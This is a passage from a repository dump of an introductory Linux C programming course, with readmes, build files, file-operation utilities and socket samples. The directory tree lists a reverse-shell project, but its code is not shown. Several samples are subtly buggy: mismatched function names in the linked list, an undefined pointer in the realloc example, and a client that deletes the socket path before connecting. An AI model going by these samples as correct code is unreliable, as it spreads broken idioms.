├── .gitignore ├── 00-introduction ├── CMakeLists.txt ├── include │ └── linked-list.h ├── readme.md └── src │ ├── arguments.c │ ├── errno.c │ ├── funcptr.c │ ├── linked-list.c │ ├── memory-allocation.c │ └── std-descriptors.c ├── 01-development-environment ├── debugging.md └── readme.md ├── 02-file-operations ├── CMakeLists.txt └── src │ ├── cat.c │ ├── chmod.c │ ├── find.c │ ├── ls.c │ ├── mkdir.c │ ├── random.c │ ├── read-this.txt │ ├── rm.c │ ├── size.c │ ├── tee.c │ └── touch.c ├── 03-sockets ├── CMakeLists.txt └── src │ └── samples │ ├── tcp-client.c │ ├── tcp-server.c │ ├── udp-client.c │ ├── udp-server.c │ ├── unix-client.c │ └── unix-server.c ├── 04-process-management ├── CMakeLists.txt ├── readme.md └── src │ ├── family.c │ ├── master-slave.c │ ├── piping.c │ ├── servant.c │ ├── signals-with-fork.c │ └── signals.c ├── 05-multithreading ├── CMakeLists.txt ├── readme.md └── src │ ├── func_pointer_threading.c │ ├── mutex_example.c │ └── simple_multi_threading.c ├── 06-inter-process-communication ├── CMakeLists.txt ├── readme.md └── src │ ├── msg_example.c │ ├── msg_recv.c │ ├── msg_send.c │ ├── sem_example.c │ └── shm_example.c ├── 07-projects ├── 01-http-server-fantasy │ ├── CMakeLists.txt │ ├── include │ │ └── fantasy_server │ │ │ └── fantasy_server.h │ └── src │ │ ├── fantasy_server │ │ ├── fantasy_server.c │ │ └── server.c │ │ └── very-buggy-is-prime-server.c ├── 02-musicmaker │ ├── CMakeLists.txt │ ├── include │ │ └── musicmaker │ │ │ ├── sound.h │ │ │ └── util.h │ └── src │ │ ├── composer.c │ │ └── musicmaker │ │ ├── sound.c │ │ └── util.c ├── 03-reverse-shell │ ├── CMakeLists.txt │ └── src │ │ └── reverse-shell.c ├── 04-worst-shell │ ├── CMakeLists.txt │ └── src │ │ └── wsh.c ├── 05-make-example │ ├── Makefile │ ├── main.c │ └── readme.md └── CMakeLists.txt ├── CMakeLists.txt ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Created by https://www.gitignore.io/api/vim,linux,macos,cmake,emacs,sublimetext,visualstudiocode 3 | # Edit at https://www.gitignore.io/?templates=vim,linux,macos,cmake,emacs,sublimetext,visualstudiocode 4 | 5 | ### CMake ### 6 | CMakeLists.txt.user 7 | CMakeCache.txt 8 | CMakeFiles 9 | CMakeScripts 10 | Testing 11 | Makefile 12 | cmake_install.cmake 13 | install_manifest.txt 14 | compile_commands.json 15 | CTestTestfile.cmake 16 | _deps 17 | 18 | ### CMake Patch ### 19 | # External projects 20 | *-prefix/ 21 | 22 | ### Emacs ### 23 | # -*- mode: gitignore; -*- 24 | *~ 25 | \#*\# 26 | /.emacs.desktop 27 | /.emacs.desktop.lock 28 | *.elc 29 | auto-save-list 30 | tramp 31 | .\#* 32 | 33 | # Org-mode 34 | .org-id-locations 35 | *_archive 36 | 37 | # flymake-mode 38 | *_flymake.* 39 | 40 | # eshell files 41 | /eshell/history 42 | /eshell/lastdir 43 | 44 | # elpa packages 45 | /elpa/ 46 | 47 | # reftex files 48 | *.rel 49 | 50 | # AUCTeX auto folder 51 | /auto/ 52 | 53 | # cask packages 54 | .cask/ 55 | dist/ 56 | 57 | # Flycheck 58 | flycheck_*.el 59 | 60 | # server auth directory 61 | /server/ 62 | 63 | # projectiles files 64 | .projectile 65 | 66 | # directory configuration 67 | .dir-locals.el 68 | 69 | # network security 70 | /network-security.data 71 | 72 | 73 | ### Linux ### 74 | 75 | # temporary files which can be created if a process still has a handle open of a deleted file 76 | .fuse_hidden* 77 | 78 | # KDE directory preferences 79 | .directory 80 | 81 | # Linux trash folder which might appear on any partition or disk 82 | .Trash-* 83 | 84 | # .nfs files are created when an open file is removed but is still being accessed 85 | .nfs* 86 | 87 | ### macOS ### 88 | # General 89 | .DS_Store 90 | .AppleDouble 91 | .LSOverride 92 | 93 | # Icon must end with two \r 94 | Icon 95 | 96 | # Thumbnails 97 | ._* 98 | 99 | # Files that might appear in the root of a volume 100 | .DocumentRevisions-V100 101 | .fseventsd 102 | .Spotlight-V100 103 | .TemporaryItems 104 | .Trashes 105 | .VolumeIcon.icns 106 | .com.apple.timemachine.donotpresent 107 | 108 | # Directories potentially created on remote AFP share 109 | .AppleDB 110 | .AppleDesktop 111 | Network Trash Folder 112 | Temporary Items 113 | .apdisk 114 | 115 | ### SublimeText ### 116 | # Cache files for Sublime Text 117 | *.tmlanguage.cache 118 | *.tmPreferences.cache 119 | *.stTheme.cache 120 | 121 | # Workspace files are user-specific 122 | *.sublime-workspace 123 | 124 | # Project files should be checked into the repository, unless a significant 125 | # proportion of contributors will probably not be using Sublime Text 126 | # *.sublime-project 127 | 128 | # SFTP configuration file 129 | sftp-config.json 130 | 131 | # Package control specific files 132 | Package Control.last-run 133 | Package Control.ca-list 134 | Package Control.ca-bundle 135 | Package Control.system-ca-bundle 136 | Package Control.cache/ 137 | Package Control.ca-certs/ 138 | Package Control.merged-ca-bundle 139 | Package Control.user-ca-bundle 140 | oscrypto-ca-bundle.crt 141 | bh_unicode_properties.cache 142 | 143 | # Sublime-github package stores a github token in this file 144 | # https://packagecontrol.io/packages/sublime-github 145 | GitHub.sublime-settings 146 | 147 | ### Vim ### 148 | # Swap 149 | [._]*.s[a-v][a-z] 150 | [._]*.sw[a-p] 151 | [._]s[a-rt-v][a-z] 152 | [._]ss[a-gi-z] 153 | [._]sw[a-p] 154 | 155 | # Session 156 | Session.vim 157 | Sessionx.vim 158 | 159 | # Temporary 160 | .netrwhist 161 | 162 | # Auto-generated tag files 163 | tags 164 | 165 | # Persistent undo 166 | [._]*.un~ 167 | 168 | # Coc configuration directory 169 | .vim 170 | 171 | ### VisualStudioCode ### 172 | .vscode/* 173 | !.vscode/settings.json 174 | !.vscode/tasks.json 175 | !.vscode/launch.json 176 | !.vscode/extensions.json 177 | 178 | ### VisualStudioCode Patch ### 179 | # Ignore all local history of files 180 | .history 181 | 182 | # End of https://www.gitignore.io/api/vim,linux,macos,cmake,emacs,sublimetext,visualstudiocode 183 | build 184 | .vscode/launch.json 185 | .vscode/settings.json 186 | 187 | !07-projects/05-make-example/Makefile 188 | -------------------------------------------------------------------------------- /00-introduction/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | project(00-introduction) 6 | 7 | include_directories(include) 8 | 9 | add_executable(arguments 10 | src/arguments.c 11 | ) 12 | 13 | add_executable(errno 14 | src/errno.c 15 | ) 16 | 17 | add_executable(std-descriptors 18 | src/std-descriptors.c 19 | ) 20 | 21 | add_executable(memory-allocation 22 | src/memory-allocation.c 23 | ) 24 | -------------------------------------------------------------------------------- /00-introduction/include/linked-list.h: -------------------------------------------------------------------------------- 1 | #ifndef LINKED_LIST_H_ 2 | #define LINKED_LIST_H_ 3 | 4 | typedef struct linked_list { 5 | int value; 6 | struct linked_list* next; 7 | } linked_list; 8 | 9 | typedef struct linked_list *node; 10 | 11 | node create_node(); 12 | 13 | node add_node(); 14 | 15 | #endif -------------------------------------------------------------------------------- /00-introduction/readme.md: -------------------------------------------------------------------------------- 1 | ## Recap on dusty shelves 2 | 3 | ### Passing args to a C program 4 | 5 | Every C program is capable of reading command line arguments if appropriate arguments specified for main function, that is: 6 | 7 | ```c 8 | int main(int argc, char** argv) { ... } 9 | ``` 10 | Example source code located is [arguments.c](src/arguments.c). 11 | 12 | ### Gathering more information about errors 13 | 14 | Most system calls return the value -1 when something goes wrong in UNIX. In addition, the kernel stores an error code in the global variable errno that all processes can access. 15 | 16 | If errno.h header file included in C program, the variable `errno` is in the namespace. For more information please refer to `man 3 errno`. 17 | 18 | ```c 19 | #include 20 | #include 21 | 22 | void func() { 23 | fprintf(stderr, "error: %s", strerror(errno)); 24 | } 25 | ``` 26 | Example source code located is [errno.c](src/errno.c). 27 | 28 | > It is much easier to use the UNIX library function perror() to do this for you. The perror() function, has a single string as a parameter, and looks up the value of `errno` and displays the string followed by an appropriate message based on the value of errno. It is declared in stdio.h, so you do not need to include errno.h if you use it [[1]](#1). 29 | 30 | ### Standart input output, as always 31 | 32 | We can write to stdout and stderr and read from stdin. Those are special file descriptors available in any program even if not specified. 33 | 34 | ```c 35 | void func() { 36 | write(stdin->_fileno, "Hello world!", 13); 37 | char in[13]; 38 | read(stdin->_fileno, in, 13); 39 | } 40 | ``` 41 | Example source code located is [std-descriptors.c](src/std-descriptors.c). 42 | 43 | ### Memory allocation 44 | 45 | We can request additional memory in run-time from OS. This is done by calls like `malloc` `calloc` `realloc` and `free`. Example source code located is [memory-allocation.c](src/memory-allocation.c). 46 | 47 | `calloc()` takes two arguments, which are the number of elements and the size in bytes of each element. it attempts to allocate space for an array of `nmemb` elements, each of size `size`. It fills the allocated memory with zeros. More: `man 3 calloc` 48 | ```c 49 | #include 50 | // void *calloc(size_t nmemb, size_t size); 51 | ... 52 | char* buf; 53 | buf = (char ∗) calloc(5, sizeof(char)); 54 | free(buf); 55 | ... 56 | ``` 57 | 58 | `malloc()` is used to dynamically allocate a single large block of memory with a given size `size` containing garbage values. More: `man 3 malloc` 59 | 60 | ```c 61 | #include /* Required for malloc */ 62 | #include /* Required for memset */ 63 | // void *malloc(size_t size); 64 | ... 65 | int* num; 66 | num = (int*) malloc(5 * sizeof(int)); 67 | 68 | // If we want, we can achieve same calloc() functionality by using memset() after malloc() 69 | memset(num, 0, 5 * sizeof(int)); //optional 70 | free(num); 71 | ... 72 | ``` 73 | 74 | `free()` is used to dynamically deallocate the memory. Generally, the OS will reclaim the memory but it is a good practice to use `free()` as soon as you're finished using allocated memory so you can keep your program's memory footprint to a minimum and avoid memory leaks. More: `man 3 free` 75 | 76 | If previously allocated memory is insufficient, we can use `realloc()` to dynamically change the memory allocation of a previously allocated memory. 77 | 78 | ```c 79 | #include 80 | // void *realloc(void *ptr, size_t size); 81 | ... 82 | int* num; 83 | num = (int*) calloc(5, sizeof(int)); 84 | num = realloc(ptr, 10 * sizeof(int)); 85 | ... 86 | ``` 87 | 88 | ## References 89 | 90 | [1] 91 | S. Weiss, “Chapter 2: Login Records, File I/O, and Performance,” _UNIX Lecture Notes_. [Online]. Available: http://www.compsci.hunter.cuny.edu/~sweiss/course_materials/unix_lecture_notes/chapter_02.pdf. [Accessed: Jan. 30, 2020]. 92 | -------------------------------------------------------------------------------- /00-introduction/src/arguments.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(int argc, char** argv, char **envp) { 4 | 5 | 6 | fprintf(stdout, "Environment variables:\n"); 7 | for(int i = 0; envp[i] != NULL; i++) { 8 | fprintf(stdout, "%s\n", envp[i]); 9 | } 10 | 11 | fprintf(stdout, "\nProgram arguments:\n"); 12 | for(int i = 0; i < argc ; i++) { 13 | fprintf(stdout, "argv[%d]: %s\n", i, argv[i]); 14 | } 15 | 16 | return 0; 17 | } -------------------------------------------------------------------------------- /00-introduction/src/errno.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(int argc, char** argv) { 7 | 8 | FILE *fp; 9 | fopen("/etc/canttouch", "w"); 10 | 11 | fprintf(stderr, "[%d]: %s\n", errno, strerror(errno)); 12 | 13 | return 0; 14 | } -------------------------------------------------------------------------------- /00-introduction/src/funcptr.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void f3(void) { 5 | printf("hello from f3\n"); 6 | } 7 | 8 | void f2(void) { 9 | printf("hello from f2\n"); 10 | } 11 | 12 | void f1(void) { 13 | printf("hello from f1\n"); 14 | } 15 | 16 | void (*fcaller[3])(void) = {f1, f2, f3}; 17 | 18 | 19 | int main(int argc, char** argv) { 20 | 21 | for(int i = 0 ; i < 3 ; i++) { 22 | fcaller[i](); 23 | } 24 | 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /00-introduction/src/linked-list.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | node create_node() { 6 | node n; 7 | n = (node)malloc(sizeof(struct linked_list)); 8 | n->next = NULL; 9 | return n;//return the new node 10 | } 11 | 12 | node addNode(node head, int value){ 13 | node temp, p; 14 | temp = createNode(); 15 | temp->value = value; 16 | if(head == NULL){ 17 | head = temp; 18 | } 19 | else{ 20 | p = head; 21 | while(p->next != NULL){ 22 | p = p->next; 23 | } 24 | p->next = temp; 25 | } 26 | return head; 27 | } 28 | 29 | int main(int argc, char** argv, char** envp) { 30 | 31 | 32 | return 0; 33 | } -------------------------------------------------------------------------------- /00-introduction/src/memory-allocation.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char** argv) { 6 | 7 | unsigned char *_p; 8 | if( argc < 2) { 9 | _p = malloc(sizeof(unsigned char) * 16); 10 | strcpy(_p, "Hello world(?)\n"); 11 | } else { 12 | long len = strlen(argv[1]); 13 | _p = malloc(sizeof(unsigned char) * (len + 1)); 14 | fprintf(stdout, "[%p]: First pointer\n", _p); 15 | strcpy(_p, argv[1]); 16 | strcat(_p, "\n"); 17 | 18 | _p = realloc(_p, (len + 1) * 3); 19 | fprintf(stdout, "[%p]: Pointer after realloc\n", _p); 20 | for(int i = 0 ; i < 2 ; i++) { 21 | strcat(_p, argv[1]); 22 | strcat(_p, "\n"); 23 | } 24 | } 25 | for(unsigned char* p = _p ; *p != 0 ; p++) { 26 | fprintf(stdout, "%c", *p); 27 | } 28 | 29 | free(_p); 30 | 31 | return 0; 32 | } -------------------------------------------------------------------------------- /00-introduction/src/std-descriptors.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char** argv){ 5 | fprintf(stderr, "stderr\n"); 6 | fprintf(stdout, "Now enter an integer: "); 7 | int i = 0; 8 | fscanf(stdin, "%d", &i); 9 | return i; 10 | } -------------------------------------------------------------------------------- /01-development-environment/debugging.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/incebellipipo/introduction-to-linux-programming/89e400d85944205e7a841de48c396ac59082ca3b/01-development-environment/debugging.md -------------------------------------------------------------------------------- /01-development-environment/readme.md: -------------------------------------------------------------------------------- 1 | - CMake 2 | - Make 3 | - GCC 4 | - GDB 5 | - Vim 6 | - Man pages 7 | 8 | -------------------------------------------------------------------------------- /02-file-operations/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | project(02-file-operations) 6 | 7 | add_executable(cat 8 | src/cat.c 9 | ) 10 | 11 | add_executable(random 12 | src/random.c 13 | ) 14 | 15 | add_executable(ls 16 | src/ls.c 17 | ) 18 | 19 | add_executable(size 20 | src/size.c 21 | ) 22 | 23 | add_executable(touch 24 | src/touch.c 25 | ) 26 | 27 | add_executable(tee 28 | src/tee.c 29 | ) 30 | 31 | add_executable(rm 32 | src/rm.c 33 | ) 34 | 35 | add_executable(mkdir 36 | src/mkdir.c 37 | ) 38 | 39 | configure_file(src/read-this.txt 40 | ${CMAKE_BINARY_DIR}/${PROJECT_NAME} COPYONLY 41 | ) 42 | -------------------------------------------------------------------------------- /02-file-operations/src/cat.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define BUFFER_SIZE 128 5 | 6 | int main(int argc, char** argv) { 7 | 8 | if( argc < 2 ) { 9 | fprintf(stderr, "%s", "Supply at least one argument to be read!\n"); 10 | return EXIT_FAILURE; 11 | } 12 | 13 | FILE * _f; 14 | _f = fopen(argv[1], "r"); 15 | if ( _f == NULL ) { 16 | fprintf(stderr, "%s", "Can not read file!\n"); 17 | return EXIT_FAILURE; 18 | } 19 | 20 | char buffer[BUFFER_SIZE]; 21 | while( fgets(buffer, BUFFER_SIZE, _f) != NULL ) { 22 | fprintf(stdout, "%s", buffer); 23 | } 24 | 25 | 26 | fclose(_f); 27 | 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /02-file-operations/src/chmod.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/incebellipipo/introduction-to-linux-programming/89e400d85944205e7a841de48c396ac59082ca3b/02-file-operations/src/chmod.c -------------------------------------------------------------------------------- /02-file-operations/src/find.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/incebellipipo/introduction-to-linux-programming/89e400d85944205e7a841de48c396ac59082ca3b/02-file-operations/src/find.c -------------------------------------------------------------------------------- /02-file-operations/src/ls.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | // man 7 inode 9 | // man 2 stat 10 | 11 | int main(int argc, char** argv) { 12 | 13 | DIR *_d; 14 | struct dirent *_dir; 15 | 16 | char* directory = "."; 17 | if ( argc < 2 ) { 18 | _d = opendir(directory); 19 | } else { 20 | _d = opendir(argv[1]); 21 | } 22 | 23 | 24 | struct stat _s; 25 | if ( _d != NULL ) { 26 | while ((_dir = readdir(_d)) != NULL) { 27 | stat(_dir->d_name, &_s); 28 | 29 | fprintf(stdout, "%x, %ld, %s\n", _s.st_mode, _s.st_size, _dir->d_name); 30 | } 31 | closedir(_d); 32 | } 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /02-file-operations/src/mkdir.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #define BUFSIZE 128 9 | 10 | 11 | int main() { 12 | 13 | char *dirname = (char*) malloc(BUFSIZE); 14 | printf("Enter a directory name: "); 15 | scanf("%s", dirname); 16 | 17 | if(mkdir(dirname, 0755) < 0) { 18 | perror("mkdir"); 19 | } 20 | 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /02-file-operations/src/random.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int main(int argc, char** argv) { 9 | 10 | int _fd = open("/dev/random", O_RDONLY); 11 | 12 | if ( _fd < 0 ) { 13 | fprintf(stderr, "Can't open /dev/random: %s\n", strerror(errno)); 14 | exit(EXIT_FAILURE); 15 | } 16 | 17 | float data; 18 | ssize_t result = read(_fd, &data, sizeof(float)); 19 | fprintf(stdout, "random(%ld): %.50f\n", result, data); 20 | 21 | close(_fd); 22 | 23 | return 0; 24 | 25 | } 26 | -------------------------------------------------------------------------------- /02-file-operations/src/read-this.txt: -------------------------------------------------------------------------------- 1 | We all can read this! 2 | -------------------------------------------------------------------------------- /02-file-operations/src/rm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char** argv) { 6 | 7 | if(argc == 2) { 8 | if(remove(argv[1]) != 0) { 9 | perror("remove"); 10 | } 11 | } else { 12 | fprintf(stderr, "I need args!\n"); 13 | } 14 | 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /02-file-operations/src/size.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(int argc, char** argv) { 7 | 8 | if( argc < 2 ) { 9 | fprintf(stderr, "File name required!\n"); 10 | exit(EXIT_FAILURE); 11 | } 12 | 13 | FILE *fp; 14 | 15 | if((fp = fopen(argv[1], "r")) == NULL) { 16 | fprintf(stderr, "Can't open file to read: %s\n", strerror(errno)); 17 | exit(EXIT_FAILURE); 18 | } 19 | 20 | fseek(fp, 0, SEEK_END); 21 | 22 | int s = ftell(fp); 23 | fprintf(stdout, "%d bytes\n", s); 24 | fclose(fp); 25 | 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /02-file-operations/src/tee.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define BUFFER_SIZE 16 13 | 14 | int main(int argc, char** argv) { 15 | 16 | if( argc < 2 ) { 17 | fprintf(stderr, "%s: missing file operand\n", argv[0]); 18 | exit(EXIT_FAILURE); 19 | } 20 | 21 | int fd = open(argv[1], O_CREAT | O_WRONLY, 0644); 22 | if ( fd == -1 ) { 23 | fprintf(stderr, "Can not create file: %s\n", strerror(errno)); 24 | exit(EXIT_FAILURE); 25 | } 26 | 27 | char buf[BUFFER_SIZE] = {0}; 28 | 29 | int istty = isatty(stdin->_fileno); 30 | 31 | int ret, n; 32 | do { 33 | memset(buf, 0, BUFFER_SIZE); 34 | ret = read(stdin->_fileno, buf, BUFFER_SIZE); 35 | write(fd, buf, ret); 36 | ioctl(stdin->_fileno, FIONREAD, &n); 37 | write(stdout->_fileno, buf, ret); 38 | if( ret == 0 && istty == 0) { 39 | break; 40 | } 41 | } while(1); 42 | 43 | close(fd); 44 | 45 | return 0; 46 | } -------------------------------------------------------------------------------- /02-file-operations/src/touch.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int main(int argc, char** argv, char** envp) { 12 | 13 | if( argc < 2 ) { 14 | fprintf(stderr, "%s: missing file operand", argv[0]); 15 | exit(EXIT_FAILURE); 16 | } 17 | 18 | int fd = open(argv[1], O_CREAT, 0664); 19 | if( fd == -1 ) { 20 | fprintf(stderr, "Can not create file: %s\n", strerror(errno)); 21 | exit(EXIT_FAILURE); 22 | } 23 | 24 | close(fd); 25 | 26 | return 0; 27 | } 28 | -------------------------------------------------------------------------------- /03-sockets/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | project(03-sockets) 6 | 7 | add_executable(tcp-server 8 | src/samples/tcp-server.c 9 | ) 10 | 11 | add_executable(tcp-client 12 | src/samples/tcp-client.c 13 | ) 14 | 15 | add_executable(udp-server 16 | src/samples/udp-server.c 17 | ) 18 | 19 | add_executable(udp-client 20 | src/samples/udp-client.c 21 | ) 22 | 23 | add_executable(unix-server 24 | src/samples/unix-server.c 25 | ) 26 | 27 | add_executable(unix-client 28 | src/samples/unix-client.c 29 | ) 30 | -------------------------------------------------------------------------------- /03-sockets/src/samples/tcp-client.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int main(int argc, char** argv) { 12 | 13 | if(argc < 2){ 14 | fprintf(stderr, "This command requires argument"); 15 | exit(EXIT_FAILURE); 16 | } 17 | 18 | int port = 8080; 19 | int fd = 0; 20 | struct sockaddr_in serv_addr; 21 | char buf[BUFSIZ] = {0}; 22 | if(( fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { 23 | perror("socket"); 24 | exit(EXIT_FAILURE); 25 | } 26 | 27 | serv_addr.sin_family = AF_INET; 28 | serv_addr.sin_port = htons(8080); 29 | serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); 30 | 31 | if(connect(fd, (struct sockaddr *)&serv_addr, sizeof(serv_addr))) { 32 | perror("connect"); 33 | exit(EXIT_FAILURE); 34 | } 35 | 36 | write(fd, argv[1], strlen(argv[1])); 37 | int ret = read(fd, buf, BUFSIZ); 38 | 39 | fprintf(stdout, "%s\n", buf); 40 | 41 | close(fd); 42 | 43 | return 0; 44 | } -------------------------------------------------------------------------------- /03-sockets/src/samples/tcp-server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | int main(int argc, char** argv) { 11 | int port = 8080; 12 | int fd; 13 | if( (fd = socket(AF_INET, SOCK_STREAM, 0)) == 0 ) { 14 | perror("Socket failed"); 15 | exit(EXIT_FAILURE); 16 | } 17 | 18 | int opt = 1; 19 | if( setsockopt(fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt)) ) { 20 | perror("setsockopt"); 21 | exit(EXIT_FAILURE); 22 | } 23 | 24 | struct sockaddr_in addr; 25 | addr.sin_family = AF_INET; 26 | addr.sin_addr.s_addr = INADDR_ANY; 27 | addr.sin_port = htons(port); 28 | 29 | if(bind(fd, (struct sockaddr* )&addr, sizeof(addr)) < 0) { 30 | perror("bind failed"); 31 | exit(EXIT_FAILURE); 32 | } 33 | 34 | if(listen(fd, 3) < 0) { 35 | perror("listen"); 36 | exit(EXIT_FAILURE); 37 | } 38 | 39 | int cfd; 40 | int addr_len = sizeof(addr); 41 | if((cfd = accept(fd, (struct sockaddr*)&addr, (socklen_t*)&addr_len)) < 0) { 42 | perror("accept"); 43 | exit(EXIT_FAILURE); 44 | } 45 | 46 | char buf[BUFSIZ] = {0}; 47 | int ret; 48 | do { 49 | ret = read(cfd, buf, BUFSIZ); 50 | if( ret < 0 ) { 51 | perror("read"); 52 | exit(EXIT_FAILURE); 53 | } 54 | printf("Client[%d]: %s", ret, buf); 55 | memset(&buf, 0, BUFSIZ); 56 | } while( ret != 0); 57 | close(cfd); 58 | close(fd); 59 | 60 | return 0; 61 | } -------------------------------------------------------------------------------- /03-sockets/src/samples/udp-client.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | int main(int argc, char** argv) { 11 | 12 | int fd; 13 | char buf[BUFSIZ]; 14 | int port = 8080; 15 | struct sockaddr_in servaddr; 16 | 17 | if( (fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0 ) { 18 | perror("socket"); 19 | exit(EXIT_FAILURE); 20 | } 21 | 22 | servaddr.sin_family = AF_INET; 23 | servaddr.sin_addr.s_addr = INADDR_ANY; 24 | servaddr.sin_port = htons(port); 25 | 26 | int len, n; 27 | 28 | len = sizeof(servaddr); 29 | 30 | 31 | sendto(fd, (char*)argv[1], strlen(argv[1]), MSG_CONFIRM, (struct sockaddr*)&servaddr, len); 32 | 33 | n = recvfrom( fd, (char*)buf, BUFSIZ, 0, (struct sockaddr*)&servaddr, &len); 34 | buf[n] = '\0'; 35 | printf("Server[%d]: %s\n", n, buf); 36 | 37 | close(fd); 38 | 39 | return 0; 40 | } -------------------------------------------------------------------------------- /03-sockets/src/samples/udp-server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | int main(int argc, char** argv) { 11 | 12 | int fd; 13 | char buf[BUFSIZ]; 14 | int port = 8080; 15 | 16 | struct sockaddr_in servaddr, cliaddr; 17 | 18 | if( (fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0 ) { 19 | perror("socket"); 20 | exit(EXIT_FAILURE); 21 | } 22 | 23 | servaddr.sin_family = AF_INET; 24 | servaddr.sin_addr.s_addr = INADDR_ANY; 25 | servaddr.sin_port = htons(port); 26 | 27 | if( bind(fd, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0 ) { 28 | perror("bind"); 29 | exit(EXIT_FAILURE); 30 | } 31 | 32 | int len, n; 33 | 34 | len = sizeof(cliaddr); 35 | 36 | n = recvfrom( fd, (char*)buf, BUFSIZ, 0, (struct sockaddr*)&cliaddr, &len); 37 | buf[n] = '\0'; 38 | printf("Client[%d]: %s\n", n, buf); 39 | sendto(fd, (char*)buf, strlen(buf), MSG_CONFIRM, (struct sockaddr*)&cliaddr, len); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /03-sockets/src/samples/unix-client.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | int main(int argc, char** argv) { 11 | fprintf(stdout, "starting\n"); 12 | struct sockaddr_un addr; 13 | char buf[BUFSIZ]; 14 | 15 | int fd, cl, rc; 16 | 17 | fprintf(stdout, "socket creating...\n"); 18 | if( (fd = socket(AF_UNIX, SOCK_STREAM, 0)) < 0 ) { 19 | perror("socket"); 20 | exit(EXIT_FAILURE); 21 | } 22 | 23 | memset(&addr, 0 , sizeof(addr)); 24 | addr.sun_family = AF_UNIX; 25 | strcpy(addr.sun_path, "/var/tmp/dsocket"); 26 | unlink(addr.sun_path); 27 | 28 | connect(fd, (struct sockaddr*)&addr, sizeof(addr)); 29 | 30 | write(fd, argv[1],strlen(argv[1])); 31 | 32 | close(fd); 33 | return 0; 34 | } -------------------------------------------------------------------------------- /03-sockets/src/samples/unix-server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | int main(int argc, char** argv) { 11 | fprintf(stdout, "starting\n"); 12 | struct sockaddr_un addr; 13 | char buf[BUFSIZ]; 14 | 15 | int fd, cl, rc; 16 | 17 | fprintf(stdout, "socket creating...\n"); 18 | if( (fd = socket(AF_UNIX, SOCK_STREAM, 0)) < 0 ) { 19 | perror("socket"); 20 | exit(EXIT_FAILURE); 21 | } 22 | 23 | memset(&addr, 0 , sizeof(addr)); 24 | addr.sun_family = AF_UNIX; 25 | strcpy(addr.sun_path, "/var/tmp/dsocket"); 26 | unlink(addr.sun_path); 27 | fprintf(stdout, "binding...\n"); 28 | if( bind(fd, (struct sockaddr*)&addr, sizeof(addr)) < 0 ) { 29 | perror("bind"); 30 | exit(EXIT_FAILURE); 31 | } 32 | 33 | fprintf(stdout, "listening...\n"); 34 | if(listen(fd, 3) < 0) { 35 | perror("listen"); 36 | exit(EXIT_FAILURE); 37 | } 38 | 39 | int len = sizeof(addr); 40 | if( (cl = accept(fd, (struct sockaddr*)&addr, &len)) < 0) { 41 | perror("accept"); 42 | exit(EXIT_FAILURE); 43 | } 44 | fprintf(stdout, "accepted...\n"); 45 | 46 | do { 47 | rc = recv(cl, buf, BUFSIZ, 0); 48 | buf[rc] = '\0'; 49 | if( rc < 0 ) { 50 | 